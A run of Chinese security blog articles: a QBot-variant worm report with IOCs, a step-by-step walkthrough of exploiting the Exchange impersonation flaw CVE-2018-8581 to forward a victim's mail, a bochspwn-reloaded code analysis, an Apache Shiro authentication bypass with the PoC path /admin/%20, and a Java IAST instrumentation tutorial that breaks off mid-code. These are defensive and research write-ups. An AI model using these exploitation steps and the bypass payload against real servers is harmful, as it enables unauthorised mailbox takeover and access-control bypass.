我们在对样本进行溯源发现，在pastebin上存在大量该类样本的源码、二进制文件等，其存在时间都在数月之久，作者目录下还包括其他类型IOT蠕虫，同时发现多个作者进行了QBot的改写，如图是其中一位作者的pastebin和github
QBot在国内似乎大家认知不多，但是由于源码简单、客户端小、支持多种架构，从09年活跃至今一直未间断过，常被应用于远控、DDoS等客户端，在其截获的IP中，绝大部分位于北美和欧洲各地，但是云平台检测到来自国内IP的攻击源，国内安全人员应该引起重视。
# 安全加固
## 云防火墙
开启云防火墙IPS拦截模式和虚拟补丁功能，云防火墙已经支持对该类漏洞的防御和防止暴力破解功能，用户即使不及时修复也依然能够进行防御拦截。
## 网络访问控制
使用"ECS/VPC安全组"对"受影响服务端口"访问源IP进行控制，如果本身Hadoop环境仅对内网提供服务，请不要将Hadoop服务端口发布到互联网。
## 更新升级
若使用自建的Hadoop，根据实际情况及时更新补丁，Hadoop在2.X以上版本提供了安全认证功能，加入了Kerberos认证机制，建议启用Kerberos认证功能或者您可以选择使用云上的MaxCompute(8年以上"零"安全漏洞)或云上的E-MAPREDUCE服务。
# 安全建议
1. 云防火墙产品已支持防御针对此漏洞的攻击，建议用户可以购买云防火墙，开启检测。
2. 通过安全管家服务，在阿里云安全专家的指导下进行安全加固及优化工作，避免系统受到漏洞影响。
# 总结
QBotVariant通过Hadoop Yarn资源管理系统REST
API未授权访问漏洞、弱密码口令爆破等方式进行入侵，一旦感染此类蠕虫，不仅会占用主机计算资源消耗带宽流量，成为攻击其他主机的肉鸡，还可能造成数据泄露，数据丢失等后果。
阿里云安全提醒广大互联网用户，注意第三方应用的配置，防止出现此类未授权漏洞，同时加强用户名和密码的安全意识，切实保护自身资产安全。
# IOC
## 部分MD5-文件名
文件名 | MD5
---|---
185.244.25.153 |
YSDKOP.arm4 | cc9de0d789efc8636946b4b41f374dfc
YSDKOP.arm5 | ac94604edfe7730ccf70d5cd75610d01
YSDKOP.arm6 | dcb51c5abd234a41ee0439183f53fd2d
YSDKOP.arm7 | 2416380b2fe0c693fd7c26a91b4cb8ee
YSDKOP.i586 | 2f029723c778f15e8e825976c66e45cd
YSDKOP.i686 | 49ec48d3afdddb098fa2c857fc63c848
YSDKOP.m68k | 7efef839902ca20431d58685d9075710
YSDKOP.mips | eab0810535b45fa1bf0f6243dafb0373
YSDKOP.mpsl | a2c4e09821be6a4594e88376b9c30b5d
YSDKOP.ppc | 1fc61114722f301065cd9673025ce5e0
YSDKOP.sh4 | 38abc827e67ff53d0814979b435e2c40
YSDKOP.sparc | 20a38aeeffba9f0f1635c7b4b78f3727
YSDKOP.x86 | 8fd97d622e69b69a3331ee5ed08e71b2
188.166.125.19 |
| 7e9c49b9e743bcf7b382fa000c27b49d
apache2 | 64394fb25494b0cadf6062a0516f7c1a
bash | 75e7ce8c110bb132d3897b293d42116a
cron | e8dfae1fe29183548503dc0270878e52
ftp | 0e765d00f0ee174e79c81c9db812e3a2
ntpd | 2cb932dcb5db84dafa8cdc6b4afa52d0
openssh | 606a3169f099b0f2423c63b4ed3f9414
pftp | 6666ef216ce7434927338137760f4ab0
sh | cc2e82ffbc6d5053efade4849c13099f
sshd | 00b0a6516986aca277d0148c7ddf38c4
tftp | 38b075ee960d08e96b2e77205ec017de
wget | 58c5e1bc66ac6b364639bce4b3f76c58
## 部分IP
## 部分URL及出现时间
# 参考链接
* <https://help.aliyun.com/knowledge_detail/71609.html>
* <https://blog.radware.com/security/2018/10/new-demonbot-discovered/> | 社区文章 |
原文链接：<https://www.zerodayinitiative.com/blog/2018/12/19/an-insincere-form-of-flattery-impersonating-users-on-microsoft-exchange>
这是ZDI评选的2018年五大漏洞的第三个案例，这些评选出来的bug具有一些独特的元素，使得其与今年发布的大约1400条其他报告不同。今天我们来看一个微软Exchange上的漏洞，它允许任何经过身份验证的用户假冒Exchange服务器上的其他人。
在ZDI的12月补丁[博客](https://www.zerodayinitiative.com/blog/2018/12/11/the-december-2018-security-update-review)中，Dustin
Childs提到了一个Exchange的漏洞，它允许Exchange服务器上的任何人模拟该服务器上的其他人。这个漏洞可以用于一些办公室里的恶作剧，但它更有可能被用于鱼叉式网络钓鱼活动、数据泄露或其他恶意软件操作。作为ZDI
2018年5大漏洞系列的一部分，本文深入研究了这个服务器端请求伪造(SSRF)漏洞的细节，并展示了这种假冒是如何发生的。
## 漏洞
这种用户假冒是由SSRF漏洞与其他脆弱性相结合而导致的。Exchange允许任何用户为订阅推送指定特定的URL，服务器将尝试向该URL发送通知，问题的原因在于Exchange服务器使用了[
CredentialCache.DefaultCredentials](https://docs.microsoft.com/en-us/dotnet/api/system.net.credentialcache.defaultcredentials)来进行连接：
在Exchange
Web服务中，CredentialCache.DefaultCredentials在NT系统权限中运行。这会导致Exchange服务器向攻击者的服务器发送NTLM哈希，并且Exchange服务器还默认设置了以下注册表项:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\DisableLoopbackCheck = 1
这允许我们将这些NTLM哈希值用于HTTP身份验证，例如，可以使用这些哈希值访问Exchange
Web服务(EWS)。由于它在NT系统权限级别上运行，攻击者可以使用TokenSerializationRight获得“特权”会话，然后就可以使用SOAP头模拟任何想要的用户。
下面是一个SOAP头的示例，它使用S-1-5-21-4187549019-2363330540-1546371449-500的SID来模拟管理员用户：
## 漏洞利用
在这个演示过程中，我们会用到几个python脚本：
* serverHTTP_relayNTLM.py——它从入站连接获取NTLM哈希值并将其用于EWS身份验证
* Exch_EWS_pushSubscribe.py——使用传给serverHTTP_relayNTLM.py的URL触发PushSubscription EWS调用
你可以从[这里](https://github.com/thezdi/PoC/tree/master/CVE-2018-8581)下载脚本,还需要安装python-ntlm模块。
利用漏洞的第一步是获取我们想要模拟的人的SID，有一种方法可以这样获取：
1. 以授权用户身份登录到OWA。在本例中，我们作为“攻击者”登录:
2. 接下来，创建任意一个文件夹，本例中我们用tempFold。右键点击这个文件夹，选择菜单中的“Permissions…” 选项。
3. 在这里添加要模拟的人的电子邮件。我们设置的目标是[email protected]：
4. 现在按F12键并选择Network选项，然后再右键点击tempFold，选择菜单中的“Permissions…” 选项。
5. 我们需要检查第一次service.svc?action=GetFolder请求的回应，为了能看到它，可以导航到：
Body->ResponseMessages->Items->0->Folders->0->PermissionSet->Permissions->N->UserId->SID
N
-在这个例子中是2(最新的一个)，但是你可以检查所有项来找到正确的那一个。PrimarySmtpAddress应该是我们想要得到的目标，如果请求响应中没有包含PermissionSet
item，我们就需要重新审核另一个service.svc?action=GetFolder请求。
6. 我们将在serverHTTP_relayNTLM.py中使用这个SID,用于模拟受害者用户。另外，我们需要在攻击者控制的机器上选择一个不太可能被阻塞的TCP端口，并且允许在Exchange服务器上进行外连接，比如，可以用8080端口。
现在我们来用真实信息来更新一下serverHTTP_relayNTLM.py中的几行：
一旦脚本有了正确的变量值，就可以开始了:
7. 下一步是在Exch_EWS_pushSubscribe.py脚本中设置合适的变量。
完成之后，我们就可以执行这个脚本：
8. 最后一步，我们需要一些事件来触发推送通知。如果我们是隐藏的，我们可以等待一段时间，或者我们可以执行一些操作，比如创建并发送一封新的电子邮件，删除我们的新文件夹等。
如果成功，我们应该可以接收到从Exchange服务器到serverHTTP_relayNTLM.py的入站连接：
如果攻击成功，我们应该会在最后一条回应中看到UpdateInboxRulesResponse ResponseClass="Success"
，这意味着入站规则被添加到受害者邮箱，所有入站电子邮件都将转发给攻击者。
现在一切就绪，可以来测试一下我们设定的新规则。我们需要从一个账户向受害者发送电子邮件，但是不能用我们新规则中设定的攻击者邮箱（本例中是[email protected]），因为新规则中规定如果来源和目的地是相同的地址，将不会转发电子邮件。我们以管理员身份登录，向受害者发送一些“敏感”信息:
检查攻击者的收件箱，我们看到消息已经成功转发:
如我们所料，新的电子邮件被转发给了攻击者，也可以通过其他EWS
api(如[AddDelegate](https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/adddelegate-operation))或将[编辑权限](https://docs.microsoft.com/en-us/exchange/client-developer/exchange-web-services/how-to-set-folder-permissions-for-another-user-by-using-ews-in-exchange)分配给目标文件夹来实现类似的结果。
## 补丁
微软给这个漏洞分配了CVE-2018-8581并且在11月发布分版本中[修补](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8581)了这个问题。实际上没有任何一个补丁可以真正修正这个问题，相反，微软声明应该删除注册表项，而删除此键将导致回环检测。回想一下，Exchange服务器默认设置了以下注册表项:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\DisableLoopbackCheck = 1
如果删除HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\DisableLoopbackCheck注册表项，这个CVE就不能再被利用，要删除注册表项，需要在CMD窗口中输入以下命令:
删除注册表项后不需要重新启动操作系统或Exchange服务器，微软声明在之后迭代的版本将不再默认启用这个注册表项。
## 总结
随着电子邮件已成为商业生活的核心组成部分，Exchange
Server多年来一直是一个受欢迎的产品。这个漏洞能导致仿冒用户，之前的一个相关[漏洞](https://www.zerodayinitiative.com/blog/2018/8/14/voicemail-vandalism-getting-remote-code-execution-on-microsoft-exchange-server)能够导致任意代码执行。这两个案例都说明了，有时候最大的威胁是来自内部的。这些漏洞还展示了外部攻击者如何从单个入口点扩展到整个企业。
继续关注明天发布的下一个年度五大漏洞相关博客，在此之前，你可以关注我们的[团队](https://twitter.com/thezdi)以了解最新的漏洞利用技术和安全补丁。 | 社区文章 |
这是内核漏洞挖掘技术系列的第四篇。
第一篇：[内核漏洞挖掘技术系列(1)——trinity](https://xz.aliyun.com/t/4760
"内核漏洞挖掘技术系列\(1\)——trinity")
第二篇：[内核漏洞挖掘技术系列(2)——bochspwn](https://xz.aliyun.com/t/4800
"内核漏洞挖掘技术系列\(2\)——bochspwn")
第三篇：[内核漏洞挖掘技术系列(3)——bochspwn-reloaded(1)](https://xz.aliyun.com/t/4921
"内核漏洞挖掘技术系列\(3\)——bochspwn-reloaded\(1\)")
## 前言
上一篇基于论文讲解了信息泄露漏洞和bochspwn-reloaded的设计，这一篇讲解bochspwn-reloaded的代码和信息泄露漏洞的其它挖掘方法。
## bochspwn-reloaded代码分析
下面我们来介绍bochspwn-reloaded的代码实现。首先来看一下代码的整体目录。
bochspwn-reloaded/third_party/instrumentation目录和bochspwn-reloaded/instrumentation目录下都有四个文件夹：linux-x86，windows-x64，windows-x86和windows-x86-markers。bochspwn-reloaded/configs目录下也有对应的四个配置文件：config-linux-x86.txt，config-windows-x64.txt，config-windows-x86.txt和config-windows-x86-markers.txt。
* linux-x86：32位linux系统内核信息泄露漏洞检测
* windows-x86：32位windows系统内核信息泄露漏洞检测
* windows-x64：64位windows系统内核信息泄露漏洞检测
* windows-x86-markers：检测内核内存中文件系统或网络等的泄漏
这里分析linux-x86/windows-x86/windows-x64这三个文件夹下的代码。如果我们要检测32位linux系统内核信息泄露漏洞，就需要拷贝bochspwn-reloaded/third_party/instrumentation目录和bochspwn-reloaded/instrumentation目录下的linux-x86文件夹中的内容到bochs-2.6.9/instrument中并编译，同时使用config-linux-x86.txt配置文件。
在bochspwn-reloaded/third_party/instrumentation目录下的文件夹都含有mem_interface.h和mem_interface.cc两个文件，它们提供read_lin_mem和write_lin_mem两个函数。从指定的虚拟地址读取或者写入数据。
在bochspwn-reloaded/instrumentation目录下的文件夹基本都含有下面这些文件：
* breakpoints.cc\h：断点功能，由一个unordered_map管理(不是真正意义上的断点，是上一篇说的hook)。这部分代码基本都一样
* common.cc\h：提供一些通用函数
* instrument.cc\h：插桩功能
基本上实现了下面这些插桩函数。
### bx_instr_initialize\bx_instr_exit
分别实现初始化和清理。
### bx_instr_interrupt
在发现漏洞之后如果设置了此时中断会调用invoke_guest_int3函数。
在invoke_guest_int3函数中保存当前地址中的值，然后向当前地址写入0xcc。
bx_instr_interrupt发生中断时将原来的值写入中断地址，设置全局标志。
### bx_instr_before_execution
#### linux-x86
如果是push指令，检查是否是内存分配或释放相关函数的开头。
对于kmalloc和vmalloc函数，保存size和flags参数。
对于kfree，vfree和kmem_cache_free函数，清除污点。
对于kmem_cache_create函数，保存cache的size和构造函数指针。
对于kmem_cache_alloc函数，保存cache，size和flags参数。
对于kmem_cache_destroy函数，从内部结构中移除cache和cache的构造函数上的断点。
对于动态cache构造函数，标记污点(动态cache构造函数的地址是kmem_cache_create函数结尾时获得的，见下文)。
如果是ret指令，检查是否是内存分配相关函数的结尾。对于kmem_cache_create函数，如果函数执行成功，保存新创建的缓存的地址并在构造函数上设置一个断点。
对于其它的内存分配函数标记污点。
如果是内存拷贝指令，标记rep_movs标志为true；如果是改变内核栈的指令，标记esp_change标志为true并记录下ESP；如果是我们添加的prefetcht1和prefetcht1指令，对于prefetcht1指令将当前的ESP值记录到一个unordered_set中，对于prefetcht2指令将当前的ESP值从unordered_set中删除。
#### windows-x86
类似而且更加简单，因为只需要处理ExAllocatePoolWithTag函数的情况。
#### windows-x64
匹配上了配置文件中的memcpy_signature就调用handle_memcpy函数。
memcpy被编译为内联的mov指令序列的情况也调用handle_memcpy函数。
在handle_memcpy函数中，如果源地址和目的地址都是内核地址则进行污点传播；如果只有目的地址是内核地址说明是用户态向内核态写，清除污点；如果只有源地址是内核地址说明是内核态向用户态写，检查污点标记，如果所有的字节都和标记字节不同则清除污点，如果发现有未初始化的字节则进入漏洞报告逻辑。
标记内核栈是否发生改变。
池污点标记。遇到push指令如果是内存分配函数开头读取origin和size，存储在RSP作为key的hashmap中。
遇到ret指令如果是内存分配函数结尾从RAX寄存器中读取base
address，由于RSP寄存器的值在进入和退出一个函数时不变，所以找到之前存储的origin和size，根据这些信息做污点标记。
### bx_instr_wrmsr
只有windows-x64中用到了这个插桩函数。在config-windows-x64.txt中设置了pool_alloc_prologues和pool_alloc_epilogues的地址。
当写入的地址是MSR_LSTAR寄存器时代表系统调用，计算出内核基址，据此修改并设置pool_alloc_prologues和pool_alloc_epilogues。
### bx_instr_after_execution
#### linux-x86
栈污点标记。
#### windows-x64
和linux-x86类似。
#### windows-x86
也和linux-x86类似，不过要处理xchg eax, esp和__SEH_prolog4/__SEH_prolog4_GS的特殊情况。
### bx_instr_lin_access
#### linux-x86
如果在执行内存拷贝指令，拷贝的源地址和目的地址至少要有一个是内核态地址。接下来的逻辑和windows-x64中handle_memcpy函数的逻辑差不多。
如果是用户态向内核态写则标记为已初始化。
如果是在两个内核态地址之间则进行污点传播。
如果是内核态向用户态写并且存在未初始化的字节就报告可能存在的漏洞，如果所有的字节都和标记字节不同重新标记已初始化。
如果不是在执行内存拷贝指令，处理流程也和前面类似。
最后进入报告漏洞的代码。
#### windows-x86
和linux-x86类似。
#### windows-x64
内存在每次被任何不属于memcpy操作的指令覆盖时清除污点。
* os_x.cc\h：一些特定于操作系统的功能
* symbols.cc\h：windows操作系统上对日志信息符号化
* taint.cc\h：污点功能
在windows-x64中的taint.cc中的initialize函数中包括上一篇的文章中提到的使用异常分配机制实现的Memory
overcommitment功能。
## 其它未初始化漏洞挖掘方法
### 静态分析
对于linux可以进行源代码分析，对于windows可以进行二进制分析。开发挖掘未初始化漏洞的源代码分析的工具可能会简单一点，但是开发挖掘未初始化漏洞的二进制分析的工具可能难度就比较大了。
### 代码审计
对于linux可以查找所有调用copy_to_user的函数进行审计，对于windows可以查找ProbeForWrite函数的上下文。研究人员通过这种方式找到了windows内核中的两个未初始化漏洞。
### 不同内核版本比较
因为微软对于win
7这样比较老的操作系统打补丁不是很积极，所以如果win10上有memset而win7相同的地方没有，可能就是在win10默默修了个未初始化漏洞。研究人员通过这种方式也找到了影响老版本windows内核的两个未初始化漏洞。
### 进行两次系统调用
这个方法就是说如果每块新分配内存中的字节都随着时间变化，那么用户态程序可以分析两次系统调用的输出，寻找不相等但公共偏移量相同的字节。存在这样的字节说明可能存在信息泄露漏洞。研究人员对windows操作系统含有NtQuery前缀的函数进行了这种fuzz，发现了多个漏洞。
### 没有污点追踪的类似bochspwn的插桩
和bochspwn-reloaded类似的全系统插桩应该能够在没有污点追踪的情况下检测未初始化内存造成的信息泄露，只要它能够检查所有源自内核的用户态内存写。一种方法就是分析系统调用的输出，搜索像内核地址这样不应该在其中出现的信息。或者可以给每块新分配内存中标记特殊字节，在内核态写入到用户态的数据中查找这些特殊字节。冰刃实验室的digtool大致就是这样的原理，也和Project
Zero撞了很多洞，有兴趣可以看一下他们的论文。
## 后记
从Windows Insider 18980开始windows系统中ring 0和hyper
V的代码已经实现了对标量(指针类型/整数类型等等)和指针数组的默认初始化：[Killing Uninitialized
Memory](https://github.com/microsoft/MSRC-Security-Research/blob/master/presentations/2019_09_CppCon/CppCon2019%20-%20Killing%20Uninitialized%20Memory.pdf
"Killing Uninitialized Memory")。未来这样的漏洞会越来越少甚至完全消失。
## 参考资料
1.[Bochspwn漏洞挖掘技术深究(2)：内核未初始化漏洞检测](http://riusksk.me/2018/12/22/bochspwn-reloaded/ "Bochspwn漏洞挖掘技术深究\(2\)：内核未初始化漏洞检测")
2.[Detecting Kernel Memory Disclosure with x86 Emulation and Taint
Tracking](https://j00ru.vexillium.org/papers/2018/bochspwn_reloaded.pdf
"Detecting Kernel Memory Disclosure with x86 Emulation and Taint Tracking")
3.[Bochspwn Revolutions: Further Advancements in Detecting Kernel Infoleaks
with x86 Emulation](https://j00ru.vexillium.org/slides/2018/infiltrate.pdf
"Bochspwn Revolutions: Further Advancements in Detecting Kernel Infoleaks with
x86 Emulation")
4.[Bochspwn Reloaded: Detecting Kernel Memory Disclosure with x86 Emulation
and Taint Tracking](https://j00ru.vexillium.org/slides/2017/bhusa.pdf
"Bochspwn Reloaded: Detecting Kernel Memory Disclosure with x86 Emulation and
Taint Tracking") | 社区文章 |
## 0x01 漏洞描述
Apache
Shiro是一个强大且易用的Java安全框架，执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API，您可以快速、轻松地获得任何应用程序，从最小的移动应用程序到最大的网络和企业应用程序。
当它和 Spring 结合使用时，在一定权限匹配规则下，攻击者可通过构造特殊的 HTTP 请求包完成身份认证绕过。
影响范围：Apache Shiro < 1.7.1
作者：jweny。文章首发于安全客，<https://www.anquanke.com/post/id/230935>
## 0x02 漏洞环境搭建
shiro 1.7.0
<https://github.com/jweny/shiro-cve-2020-17523>
## 0x03 poc测试
<http://127.0.0.1:8080/admin/%20>
使用空格等空字符，可绕过shiro身份验证。
## 0x04 漏洞分析
漏洞环境中，`/admin/*`所匹配的url都应在shiro的鉴权范围内。shiro校验path的函数为pathMatches。pathMatches返回true时，匹配命中的url才会进入后续的鉴权逻辑。
在org.apache.shiro.util.AntPathMatcher#doMatch方法的pathMatches处下断点。
**先手工验证下漏洞产生原因：**
调出Evaluate，计算一下`pathMatches（"/admin/*","/admin/1"）`，正常匹配，返回true。
计算一下pathMatch（"/admin/*","/admin/
"），正常失败了，返回false，不会鉴权，但是spring接受到的是url是`/admin/%20`，返回正产页面admin page。
**开始跟随调试：**
调试开始会经过一阵无聊的F7。一直到`doMatch("/admin/*","/admin/ ")`。
可见，`tokenizeToStringArray`返回的pathDirs已经没有空格了。因此会导致`/admin/*`和`/admin/`不匹配。
这里简单说一下为什么不是shiro的匹配函数`matchStrings()`的问题。`matchStrings()`在匹配`*`时，只要要匹配的字符串不是空，均返回匹配成功。因此只有空格被删的情况下，才会出现与`*`匹配失败。
可见是`tokenizeToStringArray`造成的。跟一下`tokenizeToStringArray`方法，发现其调用`tokenizeToStringArray`方法时的`trimTokens`参数为true。
而`tokenizeToStringArray`方法，在参数`trimTokens`为true时，会经过`trim()`处理，因此导致空格等空白字符被清除。
总结一下：存在漏洞的shiro版本，由于调用`tokenizeToStringArray`方法时，`trimTokens`参数默认为true，导致空格等空白字符被删，因此无法与pattern`*`匹配，导致该路径无法经过鉴权。但是spring接受到的访问路径为`/admin/%20`，按照正常逻辑返回响应，因此导致权限被绕过。
## 0x05 官方的修复方案
经过以上的分析，修复方案已经很明确了，将`trimTokens`设置为false。
## 0x06关于trim
原理上来说`trim()`会清空字符串前后所有的whitespace，空格只是其中的一种，但是在测试中发现除了空格以外的其他whitespace，例如`%08`、`%09`、`%0a`，spring处理时都会返回400。
因此除了空格，尚未发现其他好用的payload。 | 社区文章 |
**作者：iiusky@墨云科技VLab Team
原文链接：<https://mp.weixin.qq.com/s/6olAInQLPDaDAO3Up1rQvQ>**
>
> 笔者曾参与RASP研究与研发得到一些相关经验，近两年观察到IAST发展势头明显，但目前国内外对于IAST具体实现的细节相关文章较少，且笔者看到的开源IAST仅有洞态，故想通过笔者视角，对IAST的原理及技术实现进行探究及分享。
>
> 本文仅代表笔者个人观点，欢迎大家进行技术交流及学习。
## **什么是IAST**
IAST是AST其中的一个类别，AST是Application Security Testing的简称，译为应用安全测试，在其之下衍生出来以下几种类型:
1. SAST（Static Application Security Testing）静态应用安全测试
2. DAST（Dynamic Application Security Testing）动态应用安全测试
3. MAST（Mobile Application Security Testing）移动应用安全测试
4. IAST (Interactive Application Security Testing)交互式应用安全测试
对于IAST的定义我并没有在Gartner找到其相关的术语表，但是在Gartner推荐的服务商中找到了一些关于IAST的定义，核心内容如下：
> IAST使用运行时代理方法在测试阶段分析与监控应用程序的行为。这种类型的测试也不测试整个应用程序或代码，而只测试执行功能的部分。
有趣的是，多数人认为IAST是Gartner2012年提出来的术语，但我在Gartner的术语表内并没有找到IAST的相关定义（可能由于Gartner之前改版，导致这个术语丢失），于是我在Gartner推荐的服务商中找到了IAST相关的标签和简单的介绍。
关于IAST的细分，可参考以下文章 <https://www.freebuf.com/sectool/290671.html>
这篇文章对IAST的分类有比较清晰的描述。本文以下内容主要围绕被动式IAST进行分析介绍。
## **国内外IAST产品**
笔者对国内外的IAST相关的产品公司进行了一些整理，内容如下（该数据不代表所有的IAST厂商，仅为笔者搜索到的部分厂商）：
被动式IAST要想实现，那么其实和RASP差别不大，区别主要集中在埋点检测，从而达到对调用链的精准跟踪，在这一细小部分，我个人的理解是，对所有有可能导致source获取到的参数进行改变的方法进行埋点，包括但不限于类似以下几种情况（下面仅是伪代码，并不代表真实逻辑中的代码，仅便于大家理解）：
new String(....)
"aa".replace(...)
StringBuilder sb = new StringBuilder();
Base64.decode(...)
此链路需根据实际业务情况进行完善，例如实现某个加解密的类等，又或者是加入对souce进行安全过滤处理的方法，然后将所有经过预埋点的堆栈信息进行拼接，在这个过程中，可以去判断这条链路经过了安全过滤处理方法，那么或许可以粗暴的不上报这条调用链信息，认为这是一个安全的请求（当然这种情况还是要谨慎，毕竟研发中难免会犯一些错误，所以在情况允许的环境下，还是全部上报，交给人工进行复验、排除是更为妥当的解决方式），然后将数据上报到服务端，到此完成一个IAST的技术理念逻辑。
那么其实是不是可以使用一些APM的开源技术，对它进行改造，从而实现IAST的部分功能。如果想深度控制IAST的流程，更好的方式就是自己实现一套IAST埋点、检测逻辑。
## **实现IAST所需要的一些技术**
如果想要从零实现一个被动式的IAST，我们至少需要掌握关于字节码操作的技术，例如ASM、Javassist等，若不想从零或底层的方式去实现，可以试试使用AspectJ技术，或结合使用开源APM框架进行改造，让其成为一个简单的被动IAST。
本次所涉及的Demo源码已经公开，Github项目为: iiiusky/java_iast_example。
## **实验环境搭建**
这次IAST相关的环境其实和之前的RASP环境基本差不多。大家可以参照之前的浅谈RASP技术攻防之实战[环境配置篇]文章内容去搭建一个本地的实验环境，唯一变的，可能就是包名了。
## **demo整体逻辑**
这次实验的整体逻辑如果相比真正的IAST，肯定会有很多缺少的细节部分完善，所以仅仅适合用来学习了解被动IAST实现的大致流程，整体逻辑图如下:
从上图可以看到，其实在这次demo实现的过程中，逻辑也并不是很复杂，大致文字版说明如下：
http->enterHttp->enterSource->leaveSource
enterPropagator->leavePropagator(…………此过程重复n次…………)
enterSink->leaveSink(可省略)->leaveHttp
以上大致完成了整个污点跟踪链路流程，在初始化HTTP的时候，将新建一个`LinkedList`类型的对象，用来存储线程链路调用的数据。
package cn.org.javaweb.iast.visitor;
import org.objectweb.asm.MethodVisitor;
/**
* @author iiusky - 03sec.com
*/
public interface Handler {
MethodVisitor ClassVisitorHandler(MethodVisitor mv, final String className, int access, String name, String desc, String signature, String[] exceptions);
}
## **实现Http埋点**
为了方便对不同类型的点进行适配，抽象了一个`Handler`出来，然后在根据不同的类型实现具体的`ClassVisitorHandler`内容,`Handler.java`具体代码如下:
在Java
EE中通过劫持`javax.servlet.Servlet`的`service`方法和`javax.servlet.Filter`类的`doFilter`方法不但可以获取到原始的`HttpServletRequest`和`HttpServletResponse`对象，还可以控制Servlet和Filter的程序执行逻辑。
可以将所有参数描述符为`(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V`的方法进行插入埋点，并缓存request、response对象。
实现的代码如下（示例代码为了便于理解未考虑异常处理）:
package cn.org.javaweb.iast.visitor.handler;
import cn.org.javaweb.iast.visitor.Handler;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
import org.objectweb.asm.Type;
import org.objectweb.asm.commons.AdviceAdapter;
import java.lang.reflect.Modifier;
/**
* @author iiusky - 03sec.com
*/
public class HttpClassVisitorHandler implements Handler {
private static final String METHOD_DESC = "(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V";
public MethodVisitor ClassVisitorHandler(MethodVisitor mv, final String className, int access,
String name, String desc, String signature, String[] exceptions) {
if ("service".equals(name) && METHOD_DESC.equals(desc)) {
final boolean isStatic = Modifier.isStatic(access);
final Type argsType = Type.getType(Object[].class);
System.out.println(
"HTTP Process 类名是: " + className + ",方法名是: " + name + "方法的描述符是：" + desc + ",签名是:"
+ signature + ",exceptions:" + exceptions);
return new AdviceAdapter(Opcodes.ASM5, mv, access, name, desc) {
@Override
protected void onMethodEnter() {
loadArgArray();
int argsIndex = newLocal(argsType);
storeLocal(argsIndex, argsType);
loadLocal(argsIndex);
if (isStatic) {
push((Type) null);
} else {
loadThis();
}
loadLocal(argsIndex);
mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/iast/core/Http", "enterHttp",
"([Ljava/lang/Object;)V", false);
}
@Override
protected void onMethodExit(int i) {
super.onMethodExit(i);
mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/iast/core/Http", "leaveHttp", "()V",
false);
}
};
}
return mv;
}
}
上面的代码将对所有实现 **javax.servlet.Servlet#service**
的方法进行了埋点处理(接口、抽象类除外)，真正编译到jvm中的类如下:
可以看到，在对进入方法的时候调用了IAST中的方法`cn.org.javaweb.iast.core.Http#enterHttp`，在离开方法的时候，调用了`cn.org.javaweb.iast.core.Http#leaveHttp`其中`enterHttp`具体代码如下:
public static void enterHttp(Object[] objects) {
if (!haveEnterHttp()) {
IASTServletRequest request = new IASTServletRequest(objects[0]);
IASTServletResponse response = new IASTServletResponse(objects[1]);
RequestContext.setHttpRequestContextThreadLocal(request, response, null);
}
}
从上文中可以看到，传入的`HttpServletRequest`和`HttpServletResponse`对象存到了当前线程的上下文中，方便后续对数据的调取使用。
`leaveHttp`具体代码如下:
public static void leaveHttp() {
IASTServletRequest request = RequestContext.getHttpRequestContextThreadLocal()
.getServletRequest();
System.out.printf("URL : %s \n", request.getRequestURL().toString());
System.out.printf("URI : %s \n", request.getRequestURI().toString());
System.out.printf("QueryString : %s \n", request.getQueryString().toString());
System.out.printf("HTTP Method : %s \n", request.getMethod());
RequestContext.getHttpRequestContextThreadLocal().getCallChain().forEach(item -> {
if (item.getChainType().contains("leave")) {
String returnData = null;
if (item.getReturnObject().getClass().equals(byte[].class)) {
returnData = new String((byte[]) item.getReturnObject());
} else if (item.getReturnObject().getClass().equals(char[].class)) {
returnData = new String((char[]) item.getReturnObject());
} else {
returnData = item.getReturnObject().toString();
}
System.out
.printf("Type: %s CALL Method Name: %s CALL Method Return: %s \n", item.getChainType(),
item.getJavaClassName() + item.getJavaMethodName(), returnData);
} else {
System.out
.printf("Type: %s CALL Method Name: %s CALL Method Args: %s \n", item.getChainType(),
item.getJavaClassName() + item.getJavaMethodName(),
Arrays.asList(item.getArgumentArray()));
}
});
}
从当前线程中获取到在调用`enterHttp`时候存的数据，对其中的数据进行可视化的输出打印。
## **实现Source埋点**
在Java
EE中通过可以劫持获取输入源的所有方法，比如常用的`getParameter`、`getHeader`等类似的方法，在这里将对调用的方法、以及返回的参数进行跟踪，这里为真正污点跟踪的起点。可以简单的理解为就是http各个get方法即为来源，但这一结论不保证完全适配所有情况。对于Source相关的点处理的代码如下（示例代码为了便于理解未考虑异常处理）:
package cn.org.javaweb.iast.visitor.handler;
import cn.org.javaweb.iast.visitor.Handler;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
import org.objectweb.asm.Type;
import org.objectweb.asm.commons.AdviceAdapter;
import java.lang.reflect.Modifier;
/**
* @author iiusky - 03sec.com
*/
public class SourceClassVisitorHandler implements Handler {
private static final String METHOD_DESC = "(Ljava/lang/String;)Ljava/lang/String;";
public MethodVisitor ClassVisitorHandler(MethodVisitor mv, final String className, int access, final String name,
final String desc, String signature, String[] exceptions) {
if (METHOD_DESC.equals(desc) && "getParameter".equals(name)) {
final boolean isStatic = Modifier.isStatic(access);
System.out.println("Source Process 类名是: " + className + ",方法名是: " + name + "方法的描述符是：" + desc + ",签名是:" + signature + ",exceptions:" + exceptions);
return new AdviceAdapter(Opcodes.ASM5, mv, access, name, desc) {
@Override
protected void onMethodEnter() {
loadArgArray();
int argsIndex = newLocal(Type.getType(Object[].class));
storeLocal(argsIndex, Type.getType(Object[].class));
loadLocal(argsIndex);
push(className);
push(name);
push(desc);
push(isStatic);
mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/iast/core/Source", "enterSource", "([Ljava/lang/Object;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Z)V", false);
super.onMethodEnter();
}
@Override
protected void onMethodExit(int opcode) {
